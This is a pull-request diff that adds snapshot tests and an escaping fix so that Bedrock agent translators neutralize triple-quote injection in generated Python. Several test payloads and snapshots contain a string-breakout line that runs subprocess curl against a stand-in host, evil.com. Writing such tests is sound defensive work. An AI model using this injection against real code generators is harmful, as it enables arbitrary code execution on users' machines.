Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html

exports[`LangGraphTranslator - collaborationInstruction injection safety > neutralizes triple-quote injection in collaborationInstruction 1`] = `
"@tool
def invoke_collab(query: str, state: Annotated[dict, InjectedState]) -> str:
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': '\\"\\"\\"
import subprocess; subprocess.run(["curl","evil.com"])
\\"\\"\\"'}"""

invoke_agent_response = invoke_collab_collaborator(query)
tools_used.update([msg.name for msg in invoke_agent_response if isinstance(msg, ToolMessage)])
return invoke_agent_response"
`;

exports[`LangGraphTranslator - collaborationInstruction injection safety > preserves backslashes in collaborationInstruction without doubling 1`] = `
"@tool
def invoke_collab(query: str, state: Annotated[dict, InjectedState]) -> str:
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': 'C:\\\\path\\\\to\\\\file and regex \\\\d+'}"""

invoke_agent_response = invoke_collab_collaborator(query)
tools_used.update([msg.name for msg in invoke_agent_response if isinstance(msg, ToolMessage)])
return invoke_agent_response"
`;

exports[`StrandsTranslator - collaborationInstruction injection safety > neutralizes triple-quote injection in collaborationInstruction 1`] = `
"@tool
def invoke_collab(query: str) -> str:
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': '\\"\\"\\"
import subprocess; subprocess.run(["curl","evil.com"])
\\"\\"\\"'}"""

invoke_agent_response = invoke_collab_collaborator(query)
return invoke_agent_response"
`;

exports[`StrandsTranslator - collaborationInstruction injection safety > preserves backslashes in collaborationInstruction without doubling 1`] = `
"@tool
def invoke_collab(query: str) -> str:
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': 'C:\\\\path\\\\to\\\\file and regex \\\\d+'}"""

invoke_agent_response = invoke_collab_collaborator(query)
return invoke_agent_response"
`;
82 changes: 82 additions & 0 deletions src/cli/operations/agent/import/__tests__/translator.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -172,6 +172,88 @@ describe('StrandsTranslator', () => {
});
});

function makeCollaboratorConfig(collaborationInstruction: string): BedrockAgentConfig {
const collaboratorAgentConfig = makeSimpleAgentConfig();
return makeSimpleAgentConfig({
agent: {
...makeSimpleAgentConfig().agent,
agentCollaboration: 'SUPERVISOR_ROUTER',
},
collaborators: [
{
agent: { ...collaboratorAgentConfig.agent, agentName: 'collab-agent' },
action_groups: [],
knowledge_bases: [],
collaborators: [],
collaboratorName: 'collab',
collaborationInstruction,
},
],
});
}

function extractToolFunction(mainPyContent: string): string {
const start = mainPyContent.indexOf('@tool');
const end = mainPyContent.indexOf('\n\n\n', start);
return mainPyContent.slice(start, end);
}

describe('StrandsTranslator - collaborationInstruction injection safety', () => {
it('neutralizes triple-quote injection in collaborationInstruction', () => {
const payload = '"""\nimport subprocess; subprocess.run(["curl","evil.com"])\n"""';
const config = makeCollaboratorConfig(payload);
const translator = new StrandsTranslator(config, {
agentConfig: config,
enableMemory: false,
memoryOption: 'none',
enableObservability: false,
});
const { mainPyContent } = translator.translate();
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
});

it('preserves backslashes in collaborationInstruction without doubling', () => {
const payload = 'C:\\path\\to\\file and regex \\d+';
const config = makeCollaboratorConfig(payload);
const translator = new StrandsTranslator(config, {
agentConfig: config,
enableMemory: false,
memoryOption: 'none',
enableObservability: false,
});
const { mainPyContent } = translator.translate();
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
});
});

describe('LangGraphTranslator - collaborationInstruction injection safety', () => {
it('neutralizes triple-quote injection in collaborationInstruction', () => {
const payload = '"""\nimport subprocess; subprocess.run(["curl","evil.com"])\n"""';
const config = makeCollaboratorConfig(payload);
const translator = new LangGraphTranslator(config, {
agentConfig: config,
enableMemory: false,
memoryOption: 'none',
enableObservability: false,
});
const { mainPyContent } = translator.translate();
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
});

it('preserves backslashes in collaborationInstruction without doubling', () => {
const payload = 'C:\\path\\to\\file and regex \\d+';
const config = makeCollaboratorConfig(payload);
const translator = new LangGraphTranslator(config, {
agentConfig: config,
enableMemory: false,
memoryOption: 'none',
enableObservability: false,
});
const { mainPyContent } = translator.translate();
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
});
});

describe('LangGraphTranslator', () => {
it('generates valid LangChain/LangGraph Python code for a simple agent', () => {
const config = makeSimpleAgentConfig();
Expand Down
2 changes: 1 addition & 1 deletion src/cli/operations/agent/import/base-translator.ts
Original file line number Diff line number Diff line change
Expand Up @@ -132,7 +132,7 @@ export abstract class BaseBedrockTranslator {
this.isAcceptingRelays = collaboratorContext?.relayHistory === 'TO_COLLABORATOR';
this.collaboratorDescriptions = this.collaborators.map(
c =>
`{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePySingleQuote(c.collaborationInstruction ?? '')}'}`
`{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePyTripleQuote(c.collaborationInstruction ?? '')}'}`
);
this.collaboratorMap = new Map(this.collaborators.map(c => [c.collaboratorName ?? '', c]));

Expand Down
Loading